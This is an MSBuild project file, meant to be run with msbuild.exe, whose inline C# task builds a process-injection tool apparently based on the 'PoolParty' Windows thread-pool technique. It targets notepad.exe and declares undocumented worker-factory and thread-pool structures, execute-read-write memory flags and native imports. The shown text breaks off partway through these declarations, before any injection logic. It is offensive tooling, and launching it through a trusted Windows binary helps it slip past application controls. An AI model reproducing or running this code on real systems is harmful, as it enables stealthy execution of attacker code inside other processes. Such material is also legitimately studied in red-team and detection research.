Files
2025-11-07 14:27:24 -05:00

1262 lines
52 KiB
XML

<!--
BSD 3-Clause License
Copyright (c) 2023-2024, SafeBreach Labs
Copyright (c) 2025, Stroz Friedberg
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-->
<!-- Usage: C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe task-variant4.xml -->
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Reflection;
using Microsoft.CSharp;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
public override bool Execute()
{
string source = @"
using System;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Collections;
using System.IO;
using System.Runtime.ExceptionServices;
using System.Text;
using System.Threading;
namespace Pool
{
public static class Party
{
private static string[] CandidatesToCheck =
{
""C:\\Windows\\System32\\notepad.exe""
};
private const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
private const short SW_HIDE = 0x0;
private const int STARTF_USESHOWWINDOW = 0x00000001;
private const uint CREATE_NO_WINDOW = 0x08000000;
private const uint DETACHED_PROCESS = 0x00000008;
private const uint GENERIC_WRITE = 0x40000000;
private const uint MEM_COMMIT = 0x00001000;
private const uint MEM_RESERVE = 0x00002000;
private const uint PAGE_EXECUTE_READWRITE = 0x40;
private const uint PAGE_READWRITE = 0x04;
public enum PROCESSINFOCLASS
{
ProcessBasicInformation = 0,
ProcessQuotaLimits = 1,
ProcessIoCounters = 2,
ProcessVmCounters = 3,
ProcessTimes = 4,
ProcessBasePriority = 5,
ProcessRaisePriority = 6,
ProcessDebugPort = 7,
ProcessExceptionPort = 8,
ProcessAccessToken = 9,
ProcessLdtInformation = 10,
ProcessLdtSize = 11,
ProcessDefaultHardErrorMode = 12,
ProcessIoPortHandlers = 13,
ProcessPooledUsageAndLimits = 14,
ProcessWorkingSetWatch = 15,
ProcessUserModeIOPL = 16,
ProcessEnableAlignmentFaultFixup = 17,
ProcessPriorityClass = 18,
ProcessWx86Information = 19,
ProcessHandleCount = 20,
ProcessAffinityMask = 21,
ProcessPriorityBoost = 22,
ProcessDeviceMap = 23,
ProcessSessionInformation = 24,
ProcessForegroundInformation = 25,
ProcessWow64Information = 26,
ProcessImageFileName = 27,
ProcessLUIDDeviceMapsEnabled = 28,
ProcessBreakOnTermination = 29,
ProcessDebugObjectHandle = 30,
ProcessDebugFlags = 31,
ProcessHandleTracing = 32,
ProcessIoPriority = 33,
ProcessExecuteFlags = 34,
ProcessTlsInformation = 35,
ProcessCookie = 36,
ProcessImageInformation = 37,
ProcessCycleTime = 38,
ProcessPagePriority = 39,
ProcessInstrumentationCallback = 40,
ProcessThreadStackAllocation = 41,
ProcessWorkingSetWatchEx = 42,
ProcessImageFileNameWin32 = 43,
ProcessImageFileMapping = 44,
ProcessAffinityUpdateMode = 45,
ProcessMemoryAllocationMode = 46,
ProcessGroupInformation = 47,
ProcessTokenVirtualizationEnabled = 48,
ProcessOwnerInformation = 49,
ProcessWindowInformation = 50,
ProcessHandleInformation = 51,
ProcessMitigationPolicy = 52,
ProcessDynamicFunctionTableInformation = 53,
ProcessHandleCheckingMode = 54,
ProcessKeepAliveCount = 55,
ProcessRevokeFileHandles = 56,
ProcessWorkingSetControl = 57,
ProcessHandleTable = 58,
ProcessCheckStackExtentsMode = 59,
ProcessCommandLineInformation = 60,
ProcessProtectionInformation = 61,
ProcessMemoryExhaustion = 62,
ProcessFaultInformation = 63,
ProcessTelemetryIdInformation = 64,
ProcessCommitReleaseInformation = 65,
ProcessReserved1Information = 66,
ProcessReserved2Information = 67,
ProcessSubsystemProcess = 68,
ProcessInPrivate = 70,
ProcessRaiseUMExceptionOnInvalidHandleClose = 71,
ProcessSubsystemInformation = 75,
ProcessWin32kSyscallFilterInformation = 79,
ProcessEnergyTrackingState = 82,
MaxProcessInfoClass = 83,
}
[Flags]
public enum DUPLICATE_HANDLE_OPTIONS : uint
{
DUPLICATE_CLOSE_SOURCE = 0x00000001,
DUPLICATE_SAME_ACCESS = 0x00000002,
}
public enum _QUERY_WORKERFACTORYINFOCLASS
{
WorkerFactoryBasicInformation = 7,
}
public enum _OBJECT_INFORMATION_CLASS
{
ObjectBasicInformation = 0,
ObjectTypeInformation = 2,
}
public enum _SET_WORKERFACTORYINFOCLASS
{
WorkerFactoryTimeout = 0,
WorkerFactoryRetryTimeout = 1,
WorkerFactoryIdleTimeout = 2,
WorkerFactoryBindingCount = 3,
WorkerFactoryThreadMinimum = 4,
WorkerFactoryThreadMaximum = 5,
WorkerFactoryPaused = 6,
WorkerFactoryAdjustThreadGoal = 8,
WorkerFactoryCallbackType = 9,
WorkerFactoryStackInformation = 10,
WorkerFactoryThreadBasePriority = 11,
WorkerFactoryTimeoutWaiters = 12,
WorkerFactoryFlags = 13,
WorkerFactoryThreadSoftMaximum = 14
}
[Flags]
public enum PROCESS_ACCESS_RIGHTS : uint
{
PROCESS_TERMINATE = 0x00000001,
PROCESS_CREATE_THREAD = 0x00000002,
PROCESS_SET_SESSIONID = 0x00000004,
PROCESS_VM_OPERATION = 0x00000008,
PROCESS_VM_READ = 0x00000010,
PROCESS_VM_WRITE = 0x00000020,
PROCESS_DUP_HANDLE = 0x00000040,
PROCESS_CREATE_PROCESS = 0x00000080,
PROCESS_SET_QUOTA = 0x00000100,
PROCESS_SET_INFORMATION = 0x00000200,
PROCESS_QUERY_INFORMATION = 0x00000400,
PROCESS_SUSPEND_RESUME = 0x00000800,
PROCESS_QUERY_LIMITED_INFORMATION = 0x00001000,
PROCESS_SET_LIMITED_INFORMATION = 0x00002000,
PROCESS_ALL_ACCESS = 0x001FFFFF,
PROCESS_DELETE = 0x00010000,
PROCESS_READ_CONTROL = 0x00020000,
PROCESS_WRITE_DAC = 0x00040000,
PROCESS_WRITE_OWNER = 0x00080000,
PROCESS_SYNCHRONIZE = 0x00100000,
PROCESS_STANDARD_RIGHTS_REQUIRED = 0x000F0000,
}
public enum WORKER_ACCESS_RIGHTS : uint
{
WORKER_FACTORY_RELEASE_WORKER = 0x0001,
WORKER_FACTORY_WAIT = 0x0002,
WORKER_FACTORY_SET_INFORMATION = 0x0004,
WORKER_FACTORY_QUERY_INFORMATION = 0x0008,
WORKER_FACTORY_READY_WORKER = 0x0010,
WORKER_FACTORY_SHUTDOWN = 0x0020,
WORKER_FACTORY_ALL_ACCESS = (0x000F0000 | WORKER_FACTORY_RELEASE_WORKER | WORKER_FACTORY_WAIT | WORKER_FACTORY_SET_INFORMATION | WORKER_FACTORY_QUERY_INFORMATION | WORKER_FACTORY_READY_WORKER | WORKER_FACTORY_SHUTDOWN)
}
[Flags]
public enum FILE_SHARE_MODE : uint
{
FILE_SHARE_NONE = 0x00000000,
FILE_SHARE_DELETE = 0x00000004,
FILE_SHARE_READ = 0x00000001,
FILE_SHARE_WRITE = 0x00000002,
}
public enum FILE_CREATION_DISPOSITION : uint
{
CREATE_NEW = 1U,
CREATE_ALWAYS = 2U,
OPEN_EXISTING = 3U,
OPEN_ALWAYS = 4U,
TRUNCATE_EXISTING = 5U,
}
[Flags]
public enum FILE_FLAGS_AND_ATTRIBUTES : uint
{
FILE_ATTRIBUTE_READONLY = 0x00000001,
FILE_ATTRIBUTE_HIDDEN = 0x00000002,
FILE_ATTRIBUTE_SYSTEM = 0x00000004,
FILE_ATTRIBUTE_DIRECTORY = 0x00000010,
FILE_ATTRIBUTE_ARCHIVE = 0x00000020,
FILE_ATTRIBUTE_DEVICE = 0x00000040,
FILE_ATTRIBUTE_NORMAL = 0x00000080,
FILE_ATTRIBUTE_TEMPORARY = 0x00000100,
FILE_ATTRIBUTE_SPARSE_FILE = 0x00000200,
FILE_ATTRIBUTE_REPARSE_POINT = 0x00000400,
FILE_ATTRIBUTE_COMPRESSED = 0x00000800,
FILE_ATTRIBUTE_OFFLINE = 0x00001000,
FILE_ATTRIBUTE_NOT_CONTENT_INDEXED = 0x00002000,
FILE_ATTRIBUTE_ENCRYPTED = 0x00004000,
FILE_ATTRIBUTE_INTEGRITY_STREAM = 0x00008000,
FILE_ATTRIBUTE_VIRTUAL = 0x00010000,
FILE_ATTRIBUTE_NO_SCRUB_DATA = 0x00020000,
FILE_ATTRIBUTE_EA = 0x00040000,
FILE_ATTRIBUTE_PINNED = 0x00080000,
FILE_ATTRIBUTE_UNPINNED = 0x00100000,
FILE_ATTRIBUTE_RECALL_ON_OPEN = 0x00040000,
FILE_ATTRIBUTE_RECALL_ON_DATA_ACCESS = 0x00400000,
FILE_FLAG_WRITE_THROUGH = 0x80000000,
FILE_FLAG_OVERLAPPED = 0x40000000,
FILE_FLAG_NO_BUFFERING = 0x20000000,
FILE_FLAG_RANDOM_ACCESS = 0x10000000,
FILE_FLAG_SEQUENTIAL_SCAN = 0x08000000,
FILE_FLAG_DELETE_ON_CLOSE = 0x04000000,
FILE_FLAG_BACKUP_SEMANTICS = 0x02000000,
FILE_FLAG_POSIX_SEMANTICS = 0x01000000,
FILE_FLAG_SESSION_AWARE = 0x00800000,
FILE_FLAG_OPEN_REPARSE_POINT = 0x00200000,
FILE_FLAG_OPEN_NO_RECALL = 0x00100000,
FILE_FLAG_FIRST_PIPE_INSTANCE = 0x00080000,
PIPE_ACCESS_DUPLEX = 0x00000003,
PIPE_ACCESS_INBOUND = 0x00000001,
PIPE_ACCESS_OUTBOUND = 0x00000002,
SECURITY_ANONYMOUS = 0x00000000,
SECURITY_IDENTIFICATION = 0x00010000,
SECURITY_IMPERSONATION = 0x00020000,
SECURITY_DELEGATION = 0x00030000,
SECURITY_CONTEXT_TRACKING = 0x00040000,
SECURITY_EFFECTIVE_ONLY = 0x00080000,
SECURITY_SQOS_PRESENT = 0x00100000,
SECURITY_VALID_SQOS_FLAGS = 0x001F0000,
}
public enum _TP_CALLBACK_PRIORITY
{
TP_CALLBACK_PRIORITY_HIGH = 0,
TP_CALLBACK_PRIORITY_NORMAL = 1,
TP_CALLBACK_PRIORITY_LOW = 2,
TP_CALLBACK_PRIORITY_INVALID = 3,
TP_CALLBACK_PRIORITY_COUNT = 3
}
public enum FILE_INFORMATION_CLASS
{
FileDirectoryInformation = 1,
FileFullDirectoryInformation,
FileBothDirectoryInformation,
FileBasicInformation,
FileStandardInformation,
FilepublicInformation,
FileEaInformation,
FileAccessInformation,
FileNameInformation,
FileRenameInformation,
FileLinkInformation,
FileNamesInformation,
FileDispositionInformation,
FilePositionInformation,
FileFullEaInformation,
FileModeInformation,
FileAlignmentInformation,
FileAllInformation,
FileAllocationInformation,
FileEndOfFileInformation,
FileAlternateNameInformation,
FileStreamInformation,
FilePipeInformation,
FilePipeLocalInformation,
FilePipeRemoteInformation,
FileMailslotQueryInformation,
FileMailslotSetInformation,
FileCompressionInformation,
FileObjectIdInformation,
FileCompletionInformation,
FileMoveClusterInformation,
FileQuotaInformation,
FileReparsePointInformation,
FileNetworkOpenInformation,
FileAttributeTagInformation,
FileTrackingInformation,
FileIdBothDirectoryInformation,
FileIdFullDirectoryInformation,
FileValidDataLengthInformation,
FileShortNameInformation,
FileIoCompletionNotificationInformation,
FileIoStatusBlockRangeInformation,
FileIoPriorityHintInformation,
FileSfioReserveInformation,
FileSfioVolumeInformation,
FileHardLinkInformation,
FileProcessIdsUsingFileInformation,
FileNormalizedNameInformation,
FileNetworkPhysicalNameInformation,
FileIdGlobalTxDirectoryInformation,
FileIsRemoteDeviceInformation,
FileUnusedInformation,
FileNumaNodeInformation,
FileStandardLinkInformation,
FileRemoteProtocolInformation,
FileRenameInformationBypassAccessCheck,
FileLinkInformationBypassAccessCheck,
FileVolumeNameInformation,
FileIdInformation,
FileIdExtdDirectoryInformation,
FileReplaceCompletionInformation,
FileHardLinkFullIdInformation,
FileIdExtdBothDirectoryInformation,
FileDispositionInformationEx,
FileRenameInformationEx,
FileRenameInformationExBypassAccessCheck,
FileDesiredStorageClassInformation,
FileStatInformation,
FileMemoryPartitionInformation,
FileStatLxInformation,
FileCaseSensitiveInformation,
FileLinkInformationEx,
FileLinkInformationExBypassAccessCheck,
FileStorageReserveIdInformation,
FileCaseSensitiveInformationForceAccessCheck,
FileKnownFolderInformation,
FileStatBasicInformation,
FileId64ExtdDirectoryInformation,
FileId64ExtdBothDirectoryInformation,
FileIdAllExtdDirectoryInformation,
FileIdAllExtdBothDirectoryInformation,
FileMaximumInformation
}
[StructLayout(LayoutKind.Explicit, Pack = 1, Size = 8)]
public struct LARGE_INTEGER
{
[FieldOffset(0)]
public Int64 QuadPart;
[FieldOffset(0)]
public UInt32 LowPart;
[FieldOffset(4)]
public Int32 HighPart;
}
[StructLayout(LayoutKind.Sequential)]
public struct _WORKER_FACTORY_BASIC_INFORMATION
{
public LARGE_INTEGER Timeout;
public LARGE_INTEGER RetryTimeout;
public LARGE_INTEGER IdleTimeout;
public byte Paused;
public byte TimerSet;
public byte QueuedToExWorker;
public byte MayCreate;
public byte CreateInProgress;
public byte InsertedIntoQueue;
public byte Shutdown;
public uint BindingCount;
public uint ThreadMinimum;
public uint ThreadMaximum;
public uint PendingWorkerCount;
public uint WaitingWorkerCount;
public uint TotalWorkerCount;
public uint ReleaseCount;
public long InfiniteWaitGoal;
public IntPtr StartRoutine;
public IntPtr StartParameter;
public IntPtr ProcessId;
public IntPtr StackReserve;
public IntPtr StackCommit;
public int LastThreadCreationStatus;
}
[StructLayout(LayoutKind.Explicit, Pack = 1, CharSet = CharSet.Unicode)]
public unsafe struct PROCESS_HANDLE_TABLE_ENTRY_INFO
{
[FieldOffset(0)]
public IntPtr HandleValue;
[FieldOffset(8)]
public IntPtr HandleCount;
[FieldOffset(16)]
public IntPtr PointerCount;
[FieldOffset(24)]
public uint GrantedAccess;
[FieldOffset(28)]
public ulong ObjectTypeIndex;
[FieldOffset(36)]
public ulong HandleAttributes;
[FieldOffset(44)]
public ulong Reserved;
}
[StructLayout(LayoutKind.Explicit, Pack = 1)]
public unsafe struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION
{
[FieldOffset(0)]
public IntPtr NumberOfHandles;
[FieldOffset(8)]
public IntPtr Reserved;
[FieldOffset(16)]
public fixed byte Handles[1];
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_HANDLE_SNAPSHOT_INFORMATION
{
public IntPtr NumberOfHandles;
public IntPtr Reserved;
public PROCESS_HANDLE_TABLE_ENTRY_INFO[] Handles;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public unsafe struct UNICODE_STRING : IDisposable
{
public ushort Length;
public ushort MaximumLength;
private IntPtr Buffer;
public UNICODE_STRING(string s)
{
Length = (ushort)(s.Length * 2);
MaximumLength = (ushort)(Length + 2);
Buffer = Marshal.StringToHGlobalUni(s);
}
public void Dispose()
{
Marshal.FreeHGlobal(Buffer);
Buffer = IntPtr.Zero;
}
public override string ToString()
{
return Marshal.PtrToStringUni(Buffer);
}
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public unsafe struct _PUBLIC_OBJECT_TYPE_INFORMATION
{
public UNICODE_STRING TypeName;
public fixed ulong Reserved[22];
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Explicit, Size = 4)]
public struct _TPP_REFCOUNT
{
[FieldOffset(0)] public volatile int Refcount;
}
[StructLayout(LayoutKind.Explicit, Size = 8)]
public struct CallbackUnion
{
[FieldOffset(0)] public IntPtr Callback;
[FieldOffset(0)] public IntPtr WorkCallback;
[FieldOffset(0)] public IntPtr SimpleCallback;
[FieldOffset(0)] public IntPtr TimerCallback;
[FieldOffset(0)] public IntPtr WaitCallback;
[FieldOffset(0)] public IntPtr IoCallback;
[FieldOffset(0)] public IntPtr AlpcCallback;
[FieldOffset(0)] public IntPtr AlpcCallbackEx;
[FieldOffset(0)] public IntPtr JobCallback;
}
[StructLayout(LayoutKind.Explicit, Size = 4)]
public struct FlagUnion
{
[FieldOffset(0)] public volatile int Flags;
[FieldOffset(0)] public uint LongFunction;
[FieldOffset(0)] public uint Persistent;
[FieldOffset(0)] public uint UnusedPublic;
[FieldOffset(0)] public uint Released;
[FieldOffset(0)] public uint CleanupGroupReleased;
[FieldOffset(0)] public uint InCleanupGroupCleanupList;
[FieldOffset(0)] public uint UnusedPrivate;
}
[StructLayout(LayoutKind.Explicit, Size = 80)]
public struct _TP_CLEANUP_GROUP
{
[FieldOffset(0)] public _TPP_REFCOUNT Refcount;
[FieldOffset(4)] public int Released;
[FieldOffset(8)] public _RTL_SRWLOCK MemberLock;
[FieldOffset(16)] public _LIST_ENTRY MemberList;
[FieldOffset(32)] public _TPP_BARRIER Barrier;
[FieldOffset(56)] public _RTL_SRWLOCK CleanupLock;
[FieldOffset(64)] public _LIST_ENTRY CleanupList;
}
[StructLayout(LayoutKind.Explicit, Size = 8)]
public struct _TPP_FLAGS_UNION
{
[FieldOffset(0)] public long Data;
[FieldOffset(0)] public ulong Flags;
[FieldOffset(0)] public ulong Count;
}
[StructLayout(LayoutKind.Explicit, Size = 8)]
public struct _TPP_FLAGS_COUNT
{
[FieldOffset(0)] public _TPP_FLAGS_UNION Flags;
}
[StructLayout(LayoutKind.Explicit, Size = 8)]
public struct _RTL_SRWLOCK
{
[FieldOffset(0)] public IntPtr Ptr;
}
[StructLayout(LayoutKind.Explicit, Size = 16)]
public unsafe struct _TPP_ITE_WAITER
{
[FieldOffset(0)] public IntPtr Next;
[FieldOffset(8)] public IntPtr ThreadId;
}
[StructLayout(LayoutKind.Explicit, Size = 8)]
public unsafe struct _TPP_ITE
{
[FieldOffset(0)] public IntPtr First;
}
[StructLayout(LayoutKind.Explicit, Size = 24)]
public struct _TPP_BARRIER
{
[FieldOffset(0)] public _TPP_FLAGS_COUNT Ptr;
[FieldOffset(8)] public _RTL_SRWLOCK WaitLock;
[FieldOffset(16)] public _TPP_ITE WaitList;
}
[StructLayout(LayoutKind.Explicit, Size = 16)]
public unsafe struct _GUID
{
[FieldOffset(0)] public int Data1;
[FieldOffset(4)] public short Data2;
[FieldOffset(6)] public short Data3;
[FieldOffset(8)] public fixed byte Data4[8];
}
[StructLayout(LayoutKind.Explicit, Size = 8)]
public struct _ALPC_WORK_ON_BEHALF_TICKET
{
[FieldOffset(0)] public uint ThreadId;
[FieldOffset(4)] public uint ThreadCreationTimeLow;
}
[StructLayout(LayoutKind.Explicit, Size = 8)]
public struct _TPP_POOL_QUEUE_STATE
{
[FieldOffset(0)] public long Exchange;
[FieldOffset(0)] public _TPP_POOL_QUEUE_STATE_FIELDS Fields;
[StructLayout(LayoutKind.Explicit, Size = 8)]
public struct _TPP_POOL_QUEUE_STATE_FIELDS
{
[FieldOffset(0)] public short RunningThreadGoal;
[FieldOffset(2)] public ushort PendingReleaseGoal;
[FieldOffset(4)] public uint QueueLength;
}
}
[StructLayout(LayoutKind.Explicit, Size = 4)]
public struct _TPP_NUMA_NODE
{
[FieldOffset(0)] public int WorkerCount;
}
[StructLayout(LayoutKind.Explicit, Size = 24)]
public struct _TPP_QUEUE
{
[FieldOffset(0)] public _LIST_ENTRY Queue;
[FieldOffset(16)]public _RTL_SRWLOCK Lock;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct _GROUP_AFFINITY
{
public UIntPtr Mask;
[MarshalAs(UnmanagedType.U2)] public ushort Group;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 3, ArraySubType = UnmanagedType.U2)] public ushort[] Reserved;
}
[StructLayout(LayoutKind.Explicit, Size = 40)]
public struct _TPP_PH_LINKS
{
[FieldOffset(0)] public _LIST_ENTRY Siblings;
[FieldOffset(16)] public _LIST_ENTRY Children;
[FieldOffset(32)] public long Key;
}
[StructLayout(LayoutKind.Explicit, Size = 8)]
public unsafe struct _TPP_PH
{
[FieldOffset(0)] public IntPtr Root;
}
[StructLayout(LayoutKind.Explicit, Size = 120)]
public unsafe struct _TPP_TIMER_SUBQUEUE
{
[FieldOffset(0)] public long Expiration;
[FieldOffset(8)] public _TPP_PH WindowStart;
[FieldOffset(16)] public _TPP_PH WindowEnd;
[FieldOffset(24)] public IntPtr Timer;
[FieldOffset(32)] public IntPtr TimerPkt;
[FieldOffset(40)] public _TP_DIRECT Direct;
[FieldOffset(112)] public uint ExpirationWindow;
[FieldOffset(116)] public fixed int PADDING[1];
}
[StructLayout(LayoutKind.Explicit, Size = 256)]
public unsafe struct _TPP_TIMER_QUEUE
{
[FieldOffset(0)] public _RTL_SRWLOCK Lock;
[FieldOffset(8)] public _TPP_TIMER_SUBQUEUE AbsoluteQueue;
[FieldOffset(128)] public _TPP_TIMER_SUBQUEUE RelativeQueue;
[FieldOffset(248)] public int AllocatedTimerCount;
[FieldOffset(252)] public fixed int PADDING[1];
}
[StructLayout(LayoutKind.Explicit, Size = 486)]
public unsafe struct FULL_TP_POOL
{
[FieldOffset(0)] public _TPP_REFCOUNT Refcount;
[FieldOffset(4)] public int PADDING1;
[FieldOffset(8)] public _TPP_POOL_QUEUE_STATE QueueState;
[FieldOffset(16)] [MarshalAs(UnmanagedType.LPArray, SizeConst = 3)] public IntPtr TaskQueue;
[FieldOffset(40)] public IntPtr NumaNode;
[FieldOffset(48)] public IntPtr ProximityInfo;
[FieldOffset(56)] public IntPtr WorkerFactory;
[FieldOffset(64)] public IntPtr CompletionPort;
[FieldOffset(72)] public _RTL_SRWLOCK Lock;
[FieldOffset(80)] public _LIST_ENTRY PoolObjectList;
[FieldOffset(96)] public _LIST_ENTRY WorkerList;
[FieldOffset(112)] public _TPP_TIMER_QUEUE TimerQueue;
[FieldOffset(368)] public _RTL_SRWLOCK ShutdownLock;
[FieldOffset(376)] public uint ShutdownInitiated;
[FieldOffset(380)] public uint Released;
[FieldOffset(384)] public ushort PoolFlags;
[FieldOffset(386)] public int PADDING2;
[FieldOffset(390)] public _LIST_ENTRY PoolLinks;
[FieldOffset(406)] public _TPP_CALLER AllocCaller;
[FieldOffset(414)] public _TPP_CALLER ReleaseCaller;
[FieldOffset(422)] public volatile int AvailableWorkerCount;
[FieldOffset(426)] public volatile int LongRunningWorkerCount;
[FieldOffset(430)] public uint LastProcCount;
[FieldOffset(434)] public volatile int NodeStatus;
[FieldOffset(438)] public volatile int BindingCount;
[FieldOffset(442)] public uint CallbackChecksDisabled;
[FieldOffset(446)] public uint TrimTarget;
[FieldOffset(450)] public uint TrimmedThrdCount;
[FieldOffset(454)] public uint SelectedCpuSetCount;
[FieldOffset(458)] public int PADDING3;
[FieldOffset(462)] public IntPtr TrimComplete;
[FieldOffset(470)] public _LIST_ENTRY TrimmedWorkerList;
}
[StructLayout(LayoutKind.Explicit, Size = 8)]
public struct _TPP_CALLER
{
[FieldOffset(0)] public IntPtr ReturnAddress;
}
[StructLayout(LayoutKind.Explicit, Size = 200)]
public unsafe struct _TPP_CLEANUP_GROUP_MEMBER
{
[FieldOffset(0)] public _TPP_REFCOUNT Refcount;
[FieldOffset(4)] public int PADDING1;
[FieldOffset(8)] public IntPtr VFuncs;
[FieldOffset(16)] public IntPtr CleanupGroup;
[FieldOffset(24)] public IntPtr CleanupGroupCancelCallback;
[FieldOffset(32)] public IntPtr FinalizationCallback;
[FieldOffset(40)] public _LIST_ENTRY CleanupGroupMemberLinks;
[FieldOffset(56)] public _TPP_BARRIER CallbackBarrier;
[FieldOffset(80)] public CallbackUnion callbackUnion;
[FieldOffset(88)] public IntPtr Context;
[FieldOffset(96)] public IntPtr ActivationContext;
[FieldOffset(104)] public IntPtr SubProcessTag;
[FieldOffset(112)] public _GUID ActivityId;
[FieldOffset(128)] public _ALPC_WORK_ON_BEHALF_TICKET WorkOnBehalfTicket;
[FieldOffset(136)] public IntPtr RaceDll;
[FieldOffset(144)] public IntPtr Pool;
[FieldOffset(152)] public _LIST_ENTRY PoolObjectLinks;
[FieldOffset(168)] public FlagUnion flagUnion;
[FieldOffset(172)] public int PADDING2;
[FieldOffset(176)] public _TPP_CALLER AllocCaller;
[FieldOffset(184)] public _TPP_CALLER ReleaseCaller;
[FieldOffset(192)] public _TP_CALLBACK_PRIORITY CallbackPriority;
[FieldOffset(196)] public fixed int PADDING3[1];
}
[StructLayout(LayoutKind.Explicit, Size = 16)]
public struct _TP_TASK_CALLBACKS
{
[FieldOffset(0)] public IntPtr ExecuteCallback;
[FieldOffset(8)] public IntPtr Unposted;
}
[StructLayout(LayoutKind.Explicit, Size = 16)]
public struct _LIST_ENTRY
{
[FieldOffset(0)] public IntPtr fLink;
[FieldOffset(8)] public IntPtr bLink;
}
[StructLayout(LayoutKind.Explicit, Size = 32)]
public unsafe struct _TP_TASK
{
[FieldOffset(0)] public IntPtr Callbacks;
[FieldOffset(8)] public uint NumaNode;
[FieldOffset(12)] public byte IdealProcessor;
[FieldOffset(13)] public fixed byte PADDING[3];
[FieldOffset(16)] public _LIST_ENTRY ListEntry;
}
[StructLayout(LayoutKind.Explicit, Size = 72)]
public unsafe struct _TP_DIRECT
{
[FieldOffset(0)] public _TP_TASK Task;
[FieldOffset(32)] public ulong Lock;
[FieldOffset(40)] public _LIST_ENTRY IoCompletionInformationList;
[FieldOffset(56)] public IntPtr Callback;
[FieldOffset(64)] public uint NumaNode;
[FieldOffset(68)] public byte IdealProcessor;
[FieldOffset(69)] public fixed byte PADDING[3];
}
[StructLayout(LayoutKind.Explicit, Size = 288)]
public unsafe struct FULL_TP_IO
{
[FieldOffset(0)] public _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember;
[FieldOffset(200)] public _TP_DIRECT Direct;
[FieldOffset(272)] public IntPtr File;
[FieldOffset(280)] public volatile int PendingIrpCount;
[FieldOffset(284)] public fixed int PADDING[1];
}
[StructLayout(LayoutKind.Explicit, Size = 8)]
public struct IO_STATUS_UNION
{
[FieldOffset(0)] public uint Status;
[FieldOffset(0)] public IntPtr Pointer;
}
[StructLayout(LayoutKind.Explicit, Size = 16)]
public struct IO_STATUS_BLOCK
{
[FieldOffset(0)] public IO_STATUS_UNION StatusUnion;
[FieldOffset(8)] public IntPtr Information;
}
[StructLayout(LayoutKind.Explicit, Size = 16)]
public struct FILE_COMPLETION_INFORMATION
{
[FieldOffset(0)] public IntPtr Port;
[FieldOffset(8)] public IntPtr Key;
}
[StructLayout(LayoutKind.Explicit, Size = 8)]
public struct TP_CALLBACK_INSTANCE
{
[FieldOffset(0)] public IntPtr instance;
}
[StructLayout(LayoutKind.Explicit, Size = 8)]
public struct TP_IO
{
[FieldOffset(0)] public IntPtr instance;
}
[StructLayout(LayoutKind.Explicit, Size = 48)]
public unsafe struct TP_WIN32_IO_CALLBACK
{
[FieldOffset(0)] public IntPtr Instance;
[FieldOffset(8)] public IntPtr Context;
[FieldOffset(16)] public IntPtr Overlapped;
[FieldOffset(24)] public ulong IoResult;
[FieldOffset(32)] public IntPtr NumberOfBytesTransferred;
[FieldOffset(40)] public IntPtr Io;
}
[DllImport(""kernel32.dll"", ExactSpelling = true, SetLastError = true)]
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport(""ntdll.dll"", ExactSpelling = true)]
public static extern unsafe uint NtQueryInformationProcess(IntPtr pHandle, PROCESSINFOCLASS pInfoClass, IntPtr pInfo, ulong pInfoLen, ref ulong retLen);
[DllImport(""kernel32.dll"", ExactSpelling = true, SetLastError = true)]
